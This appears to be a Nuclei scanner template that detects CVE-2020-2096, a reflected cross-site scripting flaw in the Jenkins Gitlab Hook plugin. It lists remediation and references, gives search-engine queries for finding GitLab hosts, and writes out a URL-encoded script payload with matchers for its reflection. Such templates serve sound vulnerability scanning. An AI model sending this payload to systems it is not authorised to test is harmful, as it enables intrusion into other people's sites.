id: CVE-2020-2096

info:
  name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
  reference:
    - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
    - http://www.openwall.com/lists/oss-security/2020/01/15/1
    - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2096
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-2096
    cwe-id: CWE-79
    epss-score: 0.93556
    epss-percentile: 0.99599
    cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: gitlab_hook
    framework: jenkins
    shodan-query:
      - http.title:"GitLab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210082b8d64a337a71179004036171a4f4c6960830f55e78bddb58baec75c20c5832022100ad3437a56dcd1e775001c0a3e3c52da383f7a87f5a3da23a6c320a40f33268b9:922c64590222798bb761d5b6d8e72950